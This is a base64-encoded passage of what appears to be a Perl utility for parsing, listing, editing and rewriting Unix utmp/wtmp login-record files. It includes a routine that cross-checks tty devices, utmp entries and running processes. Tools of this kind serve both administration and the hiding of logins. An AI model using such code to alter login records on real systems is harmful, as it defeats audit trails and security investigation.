dHJ5Lg0KICAkY21kb3B0eyJ0aW1lIn0gPSAkZ21kYXRlOyAgDQogIEB7JGVudHJpZXN7JGVwb3Mx fX17cXcodHlwZSBwaWQgbGluZSBpZCB0aW1lIHVzZXIgaG9zdCBhZGRyKX0gPSANCiAgICAgICAg ICAgQHslY21kb3B0fXtxdyh0eXBlIHBpZCBsaW5lIGlkIHRpbWUgdXNlciBob3N0IGFkZHIpfTsN Cg0KICBpZiAoZGVmaW5lZCgkZXBvczIpKSB7DQogICAgJGNtZG9wdHsidXNlciJ9ID0gcGFjaygi YTgiLCAiIik7DQogICAgJGNtZG9wdHsiaG9zdCJ9ID0gcGFjaygiYTE2IiwiIik7DQogICAgJGNt ZG9wdHsiaWQifSAgID0gcGFjaygiYTQiLCAiIik7DQogICAgJGNtZG9wdHsidGltZSJ9ID0gJGdt ZGF0ZTI7DQogDQogICAgQHskZW50cmllc3skZXBvczJ9fXtxdyh0eXBlIHBpZCBsaW5lIGlkIHRp bWUgdXNlciBob3N0IGFkZHIpfSA9DQogICAgICAgICAgICAgQHslY21kb3B0fXtxdyh0eXBlIHBp ZCBsaW5lIGlkIHRpbWUgdXNlciBob3N0IGFkZHIpfTsNCiAgfQ0KDQogIHJlc3luYygpOw0KfQ0K DQoNCiMgTElTVA0KDQpzdWIgbGlzdF9mdW5jIHsNCiAgbXkoQHBhcmFtcykgPSBAXzsNCg0KICBp ZiAoIXB1c2goQF8pIHx8ICgkcGFyYW1zWzBdIGVxICJhbGwiKSkgew0KICAgIGxpc3RfYnlfcmFu Z2UoIi0iKTsNCiAgICByZXR1cm4gMDsNCiAgfSBlbHNpZiAoJHBhcmFtc1swXSA9fiAvXmhvc3R8 dXNlcnxpZHxsaW5lJC8pIHsNCiAgICBsaXN0X2J5X2RhdGEoQF8pOw0KICAgIHJldHVybiAwOw0K ICB9IGVsc2lmICgkcGFyYW1zWzBdID1+IG0vXGQqLVxkK3xcZCstXGQqLykgew0KICAgIGxpc3Rf YnlfcmFuZ2UoJHBhcmFtc1swXSk7DQogICAgcmV0dXJuIDA7DQogIH0gZWxzaWYgKCRwYXJhbXNb MF0gPX4gbS9eKFxkKykkLykgew0KICAgIGxpc3RfYnlfcmFuZ2UoIiQxLSQxIik7DQogICAgcmV0 dXJuIDA7DQogIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQogIHByaW50ICgibGlzdCA6 OiBFcnJvciBpbiBwYXJhbWV0ZXJzLiBTZWUgXCJoZWxwXCIgZm9yIHN5bnRheC5cbiIpOw0KICBy ZXR1cm4gdW5kZWY7DQp9ICAgIA0KDQoNCnN1YiBsaXN0X2J5X2RhdGEgew0KICBteSgkb3AsICRk YXRhKSA9IEBfOw0KICBteSgkY291bnQpID0gMDsNCg0KICBmb3JlYWNoIChzb3J0KCB7JGEgPD0+ ICRifSBrZXlzKCVlbnRyaWVzKSkpIHsNCiAgICBpZiAoJXskZW50cmllc3skX319LT57JG9wfSA9 fiBtLyRkYXRhL2kpIHsNCiAgICAgIGxpc3RfZW50cnkoJF8pOw0KICAgICAgKyskY291bnQ7DQog ICAgfQ0KICB9DQogIHByaW50ICJObyAkb3AgZW50cmllcyBtYXRjaGluZyAkZGF0YS5cbiIgaWYg KCEkY291bnQpOw0KfQ0KDQoNCnN1YiBsaXN0X2J5X3JhbmdlIHsNCiAgbXkoJHJhbmdlKT1zaGlm dDsNCiAgJHJhbmdlID1+IG0vKFxkKykqLShcZCspKi87DQogIG15KCRsbywgJGhpKT0oJDEsICQy KTsNCiAgDQogICRsbyA9IDAgaWYgKCFkZWZpbmVkKCRsbykpOw0KICAkaGkgPSBzY2FsYXIoa2V5 cyglZW50cmllcykpIGlmICghZGVmaW5lZCgkaGkpKTsNCiAgDQogIGZvcmVhY2ggKHNvcnQoIHsg JGEgPD0+ICRiIH0ga2V5cyglZW50cmllcykpKSB7DQogICAgaWYgKCgkXyA+PSAkbG8pICYmICgk XyA8PSAkaGkpKSB7DQogICAgICBsaXN0X2VudHJ5KCRfKTsNCiAgICB9DQogIH0NCn0gICAgICAg ICAgICAgICANCg0KDQpzdWIgbGlzdF9lbnRyeSB7DQogIHByaW50ZigiIyUzZCAtICIgLiBnbXRp bWUoJXskZW50cmllc3skX319LT57InRpbWUifSksICRfKTsNCiAgcHJpbnRmKCIgICVzLyVzIiwg QHskZW50cmllc3skX319e3F3KGlkIGxpbmUpfSk7DQogIHByaW50ZigiOiAlcyAiLCAleyRlbnRy aWVzeyRffX0tPnsidXNlciJ9KQ0KICAgIGlmICgleyRlbnRyaWVzeyRffX0tPnsidXNlciJ9IG5l IHBhY2soImE4IiwgIiIpKTsNCiAgcHJpbnRmKCJmcm9tICVzIiwgJXskZW50cmllc3skX319LT57 Imhvc3QifSkgDQogICAgaWYgKCV7JGVudHJpZXN7JF99fS0+eyJob3N0In0gbmUgcGFjaygiYTE2 IiwgIiIpKTsNCiAgaWYgKCV7JGVudHJpZXN7JF99fS0+eyJhZGRyIn0gbmUgIlwwXDBcMFwwIikg ew0KICAgIHByaW50ZigiICglcykiLCBsb25ndG9kb3Q0KCV7JGVudHJpZXN7JF99fS0+eyJhZGRy In0pKTsNCiAgfQ0KICBwcmludCAoIlxuIik7DQogIHByaW50ZigiJTdzUElEID0gJXVcbiIsICIi LCAleyRlbnRyaWVzeyRffX0tPnsicGlkIn0pIA0KICAgIGlmICgleyRlbnRyaWVzeyRffX0tPnsi cGlkIn0gJiYgKCV7JGVudHJpZXN7JF99fS0+eyJ1c2VyIn0gbmUgcGFjaygiYTgiLCIiKSkpOw0K fQ0KDQojIDxTaWxtYXJpbD4gcHJpbnRmICIjJF8gLSAlcyAlcy8lczogJXMgZnJvbSAlc1xuIiwg QHskdn0tPntxdyh0aW1lIGlkIGxpbmUgdXNlciBob3N0KX07DQojIDxTaWxtYXJpbD4gbm93ICp0 aGF0J3MqIGNvb2wgOi0pDQojIDxTaWxtYXJpbD4gc2hvdWxkIGJlIGxpa2UgdGhpczogQHskdn17 cXcodGltZSBpZCBsaW5lIHVzZXIgaG9zdCl9DQojIDxTaWxtYXJpbD4gSSBoYWQgYW4gZXh0cmEg LT4gaW4gbXkgZmlyc3QgdmVyc2lvbi4NCiMNCiMgT3IgY291cnNlLCBpdCdzIGNoYW5nZWQgc2lu Y2UgdGhlbiwgYnV0IC0gIlRoYW5rcywgU2lsISIgOikNCiMNCg0KDQojIFJFQUQNCg0KDQpzdWIg cmVhZF9mdW5jIHsNCiAgbXkoJGFyZyk9c2hpZnQ7DQogIA0KICAkYXJnID0gJHV0bXBfbG9jYXRp b24gaWYgKCRhcmcgZXEgInV0bXAiKTsNCiAgJGFyZyA9ICR3dG1wX2xvY2F0aW9uIGlmICgkYXJn IGVxICJ3dG1wIik7DQogICRhcmcgPSAkYWN0aXZlX2ZpbGUgaWYgKCFkZWZpbmVkKCRhcmcpKTsN CiAgDQogIGlmICgkYXJnICF+IG0hLypbdXdddG1wW14vXSokISkgew0KICAgIHByaW50KCJyZWFk IDo6IEZpbGVuYW1lcyAqbXVzdCogc3RhcnQgd2l0aCBlaXRoZXIgJ3d0bXAnIG9yICd1dG1wJyB0 byBiZSBlZGl0ZWQuXG4iKTsNCiAgICByZXR1cm4gdW5kZWY7DQogIH0NCiAgDQogIHJlYWRmaWxl KCRhcmcpOw0KfQ0KICAgDQoNCiMgV1JJVEUNCg0Kc3ViIHdyaXRlX2Z1bmMgew0KICBteSgkZmls ZSk9c2hpZnQ7DQogIG15KCRjb3VudCk9MDsNCiAgDQogICRmaWxlID0gJGFjdGl2ZV9maWxlIGlm ICghZGVmaW5lZCgkZmlsZSkpOw0KICBpZiAoJGZpbGUgIX4gbSEvKlt1d110bXBbXi9dKiQhKSB7 DQogICAgcHJpbnQgKCJ3cml0ZSA6OiBGaWxlIG11c3Qgc3RhcnQgd2l0aCAndXRtcCcgb3IgJ3d0 bXAnLlxuUmVuYW1lIGZpbGUgb3V0c2lkZSB0aGlzIHByb2dyYW0uXG4iKTsNCiAgICByZXR1cm4g dW5kZWY7DQogIH0NCiAgaWYgKCFvcGVuKE9VVEZJTEUsICI+JGZpbGUiKSkgew0KICAgIHByaW50 ICgid3JpdGUgOjogQ2FuJ3Qgb3BlbiAkZmlsZSBmb3Igb3V0cHV0LlxuIik7DQogICAgcmV0dXJu IHVuZGVmOw0KICB9DQogIGJpbm1vZGUoT1VURklMRSk7DQogIA0KICBmb3JlYWNoIChzb3J0KCB7 ICRhIDw9PiAkYiB9IGtleXMoJWVudHJpZXMpKSkgew0KICAgIHByaW50ZiBPVVRGSUxFICgiJXMi LCBwYWNrKCJpIEwgYTEyIGE0IEwgYTggYTE2IGE0IiwgDQogICAgICBAeyRlbnRyaWVzeyRffX17 cXcodHlwZSBwaWQgbGluZSBpZCB0aW1lIHVzZXIgaG9zdCBhZGRyKX0pKTsNCiAgICAkY291bnQr KzsNCiAgfQ0KICBwcmludCAoIiRhY3RpdmVfZmlsZTogIiAuIHNjYWxhcihrZXlzKCVlbnRyaWVz KSkgLiAiIGVudHJpZXMgd3JpdHRlbi5cbiIpOw0KICBjbG9zZShPVVRGSUxFKTsNCn0gICAgICAg ICAgICAgICANCg0KDQojIENIRUNLDQoNCnN1YiBjaGVja19mdW5jIHsNCiAgaWYgKHB1c2goQF8p KSB7DQogICAgcHJpbnQgImNoZWNrIDo6IEludmFsaWQgb3B0aW9ucyBzcGVjaWZpZWQuIFBsZWFz ZSBzZWUgXCJoZWxwXCJcbiI7DQogICAgcmV0dXJuIHVuZGVmOw0KICB9DQogIGlmICgkYWN0aXZl X2ZpbGUgIX4gbSEvKnV0bXBbXi9dKiQhKSB7DQogICAgcHJpbnQgImNoZWNrIDo6IENvbW1hbmQg Y2FuIG9ubHkgYmUgcnVuIG9uIHV0bXAgZmlsZXMuXG4iOw0KICAgIHJldHVybiB1bmRlZjsNCiAg fQ0KICANCiAgIyBCdWlsZCBzdHJ1Y3Qgb2YgcG9ydHMgY29udGFpbmluZyBwb3J0IG5hbWUsIGRl dmljZSBudW0gYW5kIG93bmVyLg0KICAjIE5vdGU6IFRlc3QgcnVuIGluIGdyZXBzdHIgbWF5ICpu b3QqIGJlIHBvcnRhYmxlIGZvciBhbGwgVW5peA0KICAjICAgICAgIHR5cGVzLiBCZSBmb3Jld2Fy bmVkISBUaGlzIHdhcyBkZXNpZ25lZCBmb3IgTGludXguDQogICMgSGludDogRm9yIGFsbCBpbnRl bnRzIGFuZCBwdXJwb3Nlcywgcy9eJHR0eWJhc2UoWyR0dHlyYW5nZV1bJHR0eXBvcnRzXSkkLw0K ICAjICAgICAgIHNob3VsZCByZXR1cm4gdGhlIHNhbWUgYXMgd2hhdCB5b3UgZXhwZWN0IGluICJz dHJ1Y3QgdXRtcC0+dXRfaWQiLg0KICBteSgkZ3JlcHN0cikgPSAiXigkdHR5YmFzZVxbJHR0eXJh bmdlXF1cWyR0dHlwb3J0c1xdKVwkIjsNCiAgbXkoJXBvcnRzKSA9IHt9Ow0KICBteSgkdXNlciwg JHJkZXYpID0gKCk7DQoNCiAgb3BlbmRpcihERVZESVIsICIvZGV2Iik7DQogIG15KEBkZXZmaWxl cykgPSByZWFkZGlyKERFVkRJUik7DQogIEBkZXZmaWxlcyA9IGdyZXAoLyRncmVwc3RyLywgQGRl dmZpbGVzKTsgIA0KICBjbG9zZShERVZESVIpOw0KICBmb3JlYWNoIChAZGV2ZmlsZXMpIHsNCiAg ICAvXiR0dHliYXNlKFskdHR5cmFuZ2VdWyR0dHlwb3J0c10pJC87DQogICAgaWYgKCFkZWZpbmVk KCQxKSkgew0KICAgICAgcHJpbnQgImNoZWNrIDo6IFdhcm5pbmchIENvdWxkIG5vdCBleHRyYWN0 IHBvcnQgSUQgZnJvbSAkXy5cbiI7DQogICAgfSBlbHNlIHsNCiAgICAgICgkdXNlciwgJHJkZXYp ID0gKHN0YXQoIi9kZXYvJF8iKSlbNCwgNl07DQogICAgICAkdXNlciA9IGdldHB3dWlkKCR1c2Vy KTsNCiAgICAgICRwb3J0c3skMX0gPSBuZXdwb3J0KCRfLCAkcmRldiwgJHVzZXIpOw0KICAgIH0g DQogIH0NCiAgDQogICMgQ2hlY2sgb3duZXJzaGlwIG9mIC9kZXYgcG9ydHMuDQogIG15KEBsb2dk ZXYpPSgpOw0KICBmb3JlYWNoIChzb3J0KGtleXMoJXBvcnRzKSkpIHsNCiAgICBwdXNoKEBsb2dk ZXYsICRfKSBpZiAoJXskcG9ydHN7JF99fS0+eyJvd25lciJ9IG5lICJyb290Iik7DQogIH0NCiAg QGxvZ2RldiA9IHNvcnQoQGxvZ2Rldik7DQogICAgICANCiAgIyBDaGVjayB1dG1wIChhZ2FpbnN0 IHBvcnRzIGRldGVjdGVkIGFzIGxvZ2dlZCBpbik7DQogIG15KEBsb2d1dG1wKT0oKTsNCiAgZm9y ZWFjaCAoc29ydCggeyAkYSA8PT4gJGIgfSBrZXlzKCVlbnRyaWVzKSkpIHsNCiAgICBpZiAoZGVm aW5lZCgleyRlbnRyaWVzeyRffX0tPnsidXNlciJ9KSAmJiBkZWZpbmVkKCV7JGVudHJpZXN7JF99 fS0+eyJob3N0In0pICYmDQogICAgICAgIGRlZmluZWQoJXskZW50cmllc3skX319LT57ImlkIn0p ICAgJiYgZGVmaW5lZCgleyRlbnRyaWVzeyRffX0tPnsicGlkIn0pKSB7DQogICAgICBwdXNoKEBs b2d1dG1wLCAleyRlbnRyaWVzeyRffX0tPnsiaWQifSkgIA0KICAgICAgICBpZiAoKCV7JGVudHJp ZXN7JF99fS0+eyJpZCJ9ID1+IC9bJHR0eXJhbmdlXVskdHR5cG9ydHNdLykgJiYNCiAgICAgICAg ICAgICgoJXskZW50cmllc3skX319LT57InVzZXIifSBuZSBwYWNrKCJhOCIsICIiKSkgfHwNCiAg ICAgICAgICAgICgoJXskZW50cmllc3skX319LT57Imhvc3QifSBuZSBwYWNrKCJhMTYiLCAiIikp ICYmDQogICAgICAgICAgICAgKCV7JGVudHJpZXN7JF99fS0+eyJpZCJ9IG5lIHBhY2soImE0Iiwg IiIpKSAmJg0KICAgICAgICAgICAgICgleyRlbnRyaWVzeyRffX0tPnsibGluZSJ9IG5lIHBhY2so ImExMiIsICIiKSkgJiYNCiAgICAgICAgICAgICAoJXskZW50cmllc3skX319LT57InBpZCJ9ID4g MCkpKSk7DQogICAgfQ0KICB9DQogIEBsb2d1dG1wID0gc29ydChAbG9ndXRtcCk7DQoNCiAgIyBD aGVjayBQSURzIChmaW5kIHByb2Nlc3NlcyB3aXRoIGFjdGl2ZSBwb3J0IGlkcykNCiAgb3BlbmRp cihQSURESVIsICIvcHJvYyIpOw0KICBteSglcHJvY2Vzc2VzKSA9IHt9Ow0KICBteShAcG9ydHBy b2Nlc3NlcykgPSAoKTsNCiAgZm9yZWFjaCAoZ3JlcCgvXGQrLywgcmVhZGRpcihQSURESVIpKSkg ew0KICAgIGxvY2FsKCRwcm9jZGF0YSwgJGNtZGxpbmUpOw0KICAgIG9wZW4oUFJPQ0ZJTEUsICI8 L3Byb2MvJF8vc3RhdCIpOw0KICAgICRwcm9jZGF0YSA9IDxQUk9DRklMRT47DQogICAgY2xvc2Uo UFJPQ0ZJTEUpOw0KICAgIGlmICgtZSAiL3Byb2MvJF8vc3RhdCIpIHsNCiAgICAgIGxvY2FsKCRj bWRsaW5lLCAkZGV2bnVtLCAkcG9ydGlkKTsNCiAgICAgICgkY21kLCAkZGV2bnVtKSA9IChzcGxp dCgvIC8sICRwcm9jZGF0YSkpWzEsIDZdOw0KICAgICAgIyBSZW1vdmUgc3Vycm91ZGluZyAoKSBm cm9tIGNvbW1hbmQgbmFtZS4NCiAgICAgICRjbWQgPX4gcy9bXChcKV0vL2c7DQogICAgICAkcG9y dGlkID0gZGV2MmlkKFwlcG9ydHMsICRkZXZudW0pOw0KICAgICAgaWYgKGRlZmluZWQoJHBvcnRp ZCkpIHsNCiAgICAgICAgcHVzaChAcG9ydHByb2Nlc3NlcywgJHBvcnRpZCkNCiAgICAgICAgICBp ZiAoIWRlZmluZWQobGlzdHBvcyhcQHBvcnRwcm9jZXNzZXMsICRwb3J0aWQpKSYmKCQkICE9ICRf KSk7DQogICAgICAgICRwcm9jZXNzZXN7JF99ID0gbmV3cHJvYygkY21kLCAkcG9ydGlkKSBpZiAo ZGVmaW5lZCgkcG9ydGlkKSAmJiAoJCQgIT0gJF8pKTsNCiAgICAgIH0NCiAgICB9DQogIH0NCiAg Y2xvc2UoUElERElSKTsNCg0KICAjIEEgcG9ydCBpcyAqbm90KiBsb2dnZWQgaW4gaWYgdGhlcmUg aXMgbm8gZGV2IGVudHJ5IGZvciBwb3J0LCBubyB1dG1wIGVudHJ5DQogICMgYW5kIG5vIGFjdGl2 ZSBwcm9jZXNzZXMuDQogIG15KEB2YWxpZHNoZWxscG9ydHMpID0gKCk7DQogIGZvcmVhY2ggKHNv cnQoIHsgJGEgPD0+ICRifSBrZXlzKCVwcm9jZXNzZXMpKSkgew0KICAgIHB1c2goQHZhbGlkc2hl bGxwb3J0cywgJXskcHJvY2Vzc2VzeyRffX0tPnsicG9ydCJ9KSANCiAgICAgIGlmIChkZWZpbmVk KGxpc3Rwb3MoXEBzaGVsbHMsICV7JHByb2Nlc3Nlc3skX319LT57ImNtZCJ9KSkmJg0KICAgICAg ICAgICFkZWZpbmVkKGxpc3Rwb3MoXEB2YWxpZHNoZWxscG9ydHMsICV7JHByb2Nlc3Nlc3skX319 LT57InBvcnQifSkpKTsNCiAgfQ0KICAjIFJlbW92ZSBwb3J0cyB3aXRoIHZhbGlkIHNoZWxscyBm cm9tIGxpc3Qgb2YgcG9ydHMgd2l0aCBhY3RpdmUgcHJvY2Vzc2VzLg0KICBteShAbm9zaGVsbHBv cnRzKSA9IA0KICAgIHNvcnQoZ3JlcCghZGVmaW5lZChsaXN0cG9zKFxAdmFsaWRzaGVsbHBvcnRz LCAkXykpLCBAcG9ydHByb2Nlc3NlcykpOw0KICBAdmFsaWRzaGVsbHBvcnRzID0gc29ydChAdmFs aWRzaGVsbHBvcnRzKTsNCiAgcHJpbnQgIlBvcnRzIHdpdGggYWN0aXZlIC9kZXYgZmlsZXM6IEBs b2dkZXZcbiINCiAgICBpZiAoZGVmaW5lZChAbG9nZGV2KSk7DQogIHByaW50ICJQb3J0cyB3aXRo IHV0bXAgZW50cmllczogQGxvZ3V0bXBcbiINCiAgICBpZiAoZGVmaW5lZChAbG9ndXRtcCkpOw0K ICBwcmludCAiUG9ydHMgd2l0aCB2YWxpZCBzaGVsbHM6IEB2YWxpZHNoZWxscG9ydHNcbiIgDQog ICAgaWYgKGRlZmluZWQoQHZhbGlkc2hlbGxwb3J0cykpOw0KICBwcmludCAiUG9ydHMgd2l0aCBh Y3RpdmUgcHJvY2Vzc2VzIGFuZCAqbm8qIHNoZWxsczogQG5vc2hlbGxwb3J0c1xuIiANCiAgICBp ZiAoZGVmaW5lZChAbm9zaGVsbHBvcnRzKSk7DQp9ICANCiAgDQogICAgDQojIEdFTkVSQUwNCg0K c3ViIHJlYWRmaWxlIHsNCiAgbG9jYWwoJGZpbGUpOw0KICAkZmlsZSA9IHNoaWZ0Ow0KICBteSgk aW5kZXgpPTE7DQogIG15KCRidWZmZXIpPSIiOw0KDQogICMgSW5zdXJlIHdlIGhhdmUgYSBjbGVh biBoYXNoIHRhYmxlIGJlZm9yZSB3ZSBzdGFydCByZWFkaW5nIGluIHRoZSBmaWxlLg0KICBmb3Jl YWNoIChrZXlzKCVlbnRyaWVzKSkgew0KICAgIHVuZGVmKCV7JGVudHJpZXN7JF99fSk7DQogICAg ZGVsZXRlKCR7ZW50cmllc3skX319KTsNCiAgfQ0KICAgIA0KICBvcGVuKFVUTVBGSUxFLCAiPCRm aWxlIikgfHwgZGllKCJ1dG1wLXBhcnNlOiBDYW4ndCBvcGVuICRmaWxlIC0gJCFcbiIpOw0KICBi aW5tb2RlKFVUTVBGSUxFKTsNCiAgIyAxLzE3Lzk2LCBzdHJ1Y3QgdXRtcCBpcyA1NiBieXRlcyAo NTQgYWNjb3JkaW5nIHRvIGFkZGl0aW9uISA6UCkuICANCiAgd2hpbGUgKHJlYWQoVVRNUEZJTEUs ICRidWZmZXIsIDU2KSkgew0KICAgICRlbnRyaWVzeyRpbmRleCsrfSA9IG5ld3V0bXAoJGJ1ZmZl cik7DQogIH0NCiAgJGFjdGl2ZV9maWxlID0gJGZpbGU7DQogIHByaW50ICgiJGFjdGl2ZV9maWxl OiAiIC4gc2NhbGFyKGtleXMoJWVudHJpZXMpKSAuICIgZW50cmllcyBsb2FkZWQuXG4iKTsNCiAg Y2xvc2UoVVRNUEZJTEUpOw0KfQ0KDQoNCnN1YiBuZXd1dG1wIHsNCiAgbXkoJG5ld2J1ZmYpID0g c2hpZnQ7DQogIG15KCRsb25nYWRkcikgPSAwOw0KICANCiAgJG5ld25vZGUgPSBibGVzcyB7IA0K ICAgICJ0eXBlIiA9PiB1bmRlZiwgInBpZCIgPT4gdW5kZWYsICAibGluZSIgPT4gdW5kZWYsICJp ZCIgICA9PiB1bmRlZiwNCiAgICAidGltZSIgPT4gdW5kZWYsICJ1c2VyIiA9PiB1bmRlZiwgImhv c3QiID0+IHVuZGVmLCAiYWRkciIgPT4gdW5kZWYNCiAgfSwgJ1VUTVBOT0RFJzsNCiAgDQogIEB7 JG5ld25vZGV9e3F3KHR5cGUgcGlkIGxpbmUgaWQgdGltZSB1c2VyIGhvc3QgYWRkcil9PQ0KICAg IHVucGFjaygiaSBMIGExMiBhNCBMIGE4IGExNiBhNCIsICRuZXdidWZmKTsNCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgDQogIHJldHVybiAkbmV3bm9kZTsNCn0gIA0KDQoNCnN1YiBuZXdw b3J0IHsNCiANCiAgJG5ld25vZGUgPSBibGVzcyB7DQogICAgInBvcnQiID0+IHVuZGVmLCAicmRl diIgPT4gdW5kZWYsICJvd25lciIgPT4gdW5kZWYsICJjbWQiID0+IHVuZGVmLA0KICB9LCAnUE9S VE5PREUnOw0KICANCiAgQHskbmV3bm9kZX17cXcocG9ydCByZGV2IG93bmVyKX0gPSBAXzsNCiAg DQogIHJldHVybiAkbmV3bm9kZTsNCn0NCg0KDQpzdWIgbmV3cHJvYyB7DQogDQogICRuZXdub2Rl ID0gYmxlc3Mgew0KICAgICJjbWQiID0+IHVuZGVmLCAicG9ydCIgPT4gdW5kZWYsIA0KICB9LCAn UFJPQ05PREUnOw0KICANCiAgQHskbmV3bm9kZX17cXcoY21kIHBvcnQpfSA9IEBfOw0KICANCiAg cmV0dXJuICRuZXdub2RlOw0KfQ0KDQoNCiMgUmVudW1iZXIgaGFzaGVzIHRvIGRlZmF1bHQgb3Jk ZXIuDQpzdWIgcmVzeW5jIHsNCiAgbXkoJW5ld2hhc2gpID0gKCk7DQogIG15KCRjb3VudCk9MDsN Cg0KICAjIFdyaXRlIG9yZGVyZWQgbGlzdCBpbiB0byB0ZW1wb3JhcnkgaGFzaCwgZGVsZXRpbmcg YXMgd2UgZ28uDQogIGZvcmVhY2ggKHNvcnQoIHskYSA8PT4gJGJ9IGtleXMoJWVudHJpZXMpKSkg ew0KICAgICRuZXdoYXNoeysrJGNvdW50fSA9ICRlbnRyaWVzeyRffTsNCiAgICBkZWxldGUoJGVu dHJpZXN7JF99KTsNCiAgfQ0KDQogICMgQ29weSBlbGVtZW50cyBiYWNrIGluIHRvIG9yaWdpbmFs IGhhc2ggdGFibGUuDQogIGZvcmVhY2ggKHNvcnQoIHskYSA8PT4gJGJ9IGtleXMoJW5ld2hhc2gp KSkgew0KICAgICRlbnRyaWVzeyRffSA9ICRuZXdoYXNoeyRffTsNCiAgfQ0KfQ0KDQoNCnN1YiBs b25ndG9kb3Q0IHsNCiAgbXkoJGFkZHIpPXNoaWZ0Ow0KDQogIHJldHVybiBqb2luKCIuIiwgbWFw KCBvcmQoJF8pLCBzcGxpdCgvLywgJGFkZHIpKSk7DQp9DQoNCnN1YiBkZXYyaWQgew0KICBteSgk cG9ydGxpc3QsICRyZGV2KSA9IEBfOw0KDQogIGZvcmVhY2ggKHNvcnQoa2V5cygleyRwb3J0bGlz dH0pKSkgew0KICAgIHJldHVybiAkXyBpZiAoJXskcG9ydGxpc3R9LT57JF99LT57InJkZXYifT09 JHJkZXYpOw0KICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICByZXR1cm4gdW5k ZWY7DQp9DQoNCg0Kc3ViIGxpc3Rwb3Mgew0KICBteSgkYXJyYXlyZWYsICRzZWFyY2gpID0gQF87 DQogIG15KCRjb3VudCkgPSAwOw0KDQokXlcgPSAwOw0KICBmb3JlYWNoIChAeyRhcnJheXJlZn0p IHsNCiAgICByZXR1cm4gJGNvdW50IGlmICgkc2VhcmNoIGVxICR7JGFycmF5cmVmfVskY291bnRd KTsNCiAgICAkY291bnQrKzsNCiAgfQ0KJF5XID0gMTsNCg0KICByZXR1cm4gdW5kZWY7DQp9DQoN Cg0KIyMjIERBVEUgUk9VVElORVMNCg0KIyBUaGUgZm9sbG93aW5nIGNvZGUgdGFrZW4gJiBtb2Rp ZmllZCBmcm9tIHRoZSBEYXRlOjpNYW5pcCBwYWNrYWdlLg0KIyBIZXJlIGlzIGhpcyBjb3B5cmln aHQ6DQojDQojIyBDb3B5cmlnaHQgKGMpIDE5OTUsMTk5NiBTdWxsaXZhbiBCZWNrLiBBbGwgcmln aHRzIHJlc2VydmVkLg0KIyMgVGhpcyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4g cmVkaXN0cmlidXRlIGl0IGFuZC9vciBtb2RpZnkgaXQNCiMjIHVuZGVyIHRoZSBzYW1lIHRlcm1z IGFzIFBlcmwgaXRzZWxmLg0KDQoNCnN1YiBTZWNzU2luY2UxOTcwIHsNCiMgUGFyc2UgYXMgbW0v ZGQvW2NjXXl5WzpoaDptbVs6c3NdXQ0KICBteSgkZGF0ZXRpbWUpID0gc2hpZnQ7DQogIG15KCRt LCRkLCR5LCRoLCRtbiwkcykgPSAoKTsNCg0KICAjIElmIGRhdGUgaXMgbm90IGRlZmluZWQsIHRo ZW4gcmV0dXJuIGxvY2FsIGN1cnJlbnQgZGF0ZSBhbmQgdGltZS4NCiAgcmV0dXJuIHRpbWUoKSBp ZiAoIWRlZmluZWQoJGRhdGV0aW1lKSk7DQoNCiAgJGRhdGV0aW1lID1+IA0KICAgIHMhXihcZHsx LDJ9KS8oXGR7MSwyfSkvKFxkezR9fFxkezJ9KSg/Olw6KFxkezJ9KTooXGR7Mn0pKD86XDooXGR7 Mn0pKT8pPyEhOw0KICAoJG0sICRkLCAkeSwgJGgsICRtbiwgJHMpID0gKCQxLCAkMiwgJDMsICQ0 LCAkNSwgJDYpOw0KICAkbS0tOw0KDQogICMgRmluYWxpemUgdGltZSBjb21wb25lbnRzIGFuZCBj aGVjayB0aGVtLg0KICAkeSA9ICgoJHkgPCA3MCkgPyAiMjAiOiIxOSIgLiAkeSkgaWYgKGxlbmd0 aCgkeSk9PTIpOyANCg0KICAjIFRoaXMgY2hlY2tzIGZvciBhbnkgKm5vbi1tYXRjaGVkKiBwb3J0 aW9uIG9mICRkYXRldGltZS4gSWYgdGhlcmUgaXMgc3VjaA0KICAjIGFuIGFuaW1hbCwgdGhlbiB0 aGVyZSBpcyBpbGxlZ2FsIGRhdGEgc3BlY2lmaWVkLiBBbHNvIHNjcmVlbnMgZm9yIHVuZGVmaW5l ZA0KICAjIGNvbXBvbmVudHMgd2hpY2ggSEFWRSB0byBiZSBpbiBBTlkgdmFsaWQgZGF0ZS90aW1l IChpZSwgbW9udGgsIGRheSwgeWVhcikuDQogIHJldHVybiB1bmRlZiBpZiAoIWRlZmluZWQoJG0p IHx8ICFkZWZpbmVkKCRkKSB8fCAhZGVmaW5lZCgkeSkgfHwgbGVuZ3RoKCRkYXRldGltZSkpOw0K DQogICMgU2V0IHRpbWUgY29tcG9uZW50cyB3aXRoIHVuc3BlY2lmaWVkIHZhbHVlcy4NCiAgJHMg PSAwIGlmICghZGVmaW5lZCgkcykpOw0KICAkbW4gPSAwIGlmICghZGVmaW5lZCgkbW4pKTsNCiAg JGggPSAwIGlmICghZGVmaW5lZCgkaCkpOw0KDQogICMgQ2hlY2sgZm9yIHJhbmdlcy4NCiAgcmV0 dXJuIHVuZGVmIGlmICgoJG0gPiAxMSkgICAgfHwgKCRoID4gMjMpICAgIHx8ICgkbW4gPiA1OSkg ICB8fCAoJHMgPiA1OSkpOw0KICAgICAgICAgICAgICAgICAgICAgDQogICMgQmVnaW4gY29udmVy c2lvbiB0byBzZWNvbmRzIHNpbmNlIDEvMS83MC4NCiAgbXkoJHNlY19ub3csJHNlY183MCk9KCk7 DQogICRzZWNfbm93PURheXNTaW5jZTk5OSgkbSwkZCwkeSk7DQogIHJldHVybiB1bmRlZiBpZiAo IWRlZmluZWQoJHNlY19ub3cpKTsNCg0KICAkc2VjX25vdy0tOw0KICAkc2VjX25vdyA9ICRzZWNf bm93KjI0KjM2MDAgKyAkaCozNjAwICsgJG1uKjYwICsgJHM7DQogICRzZWNfNzAgPTMwNjEwMjI0 MDAwOw0KICByZXR1cm4gKCRzZWNfbm93LSRzZWNfNzApOw0KfQ0KDQoNCnN1YiBEYXlzU2luY2U5 OTkgew0KICBteSgkbSwkZCwkeSk9QF87DQogIG15KCROeSwkTjQsJE4xMDAsJE40MDAsJGRheW9m eWVhciwkZGF5cyk9KCk7DQogIG15KCRjYywkeXkpPSgpOw0KDQogICR5PX4gL14oXGR7Mn0pKFxk ezJ9KSQvOw0KICAoJGNjLCR5eSk9KCQxLCQyKTsNCg0KICAjIE51bWJlciBvZiBmdWxsIHllYXJz 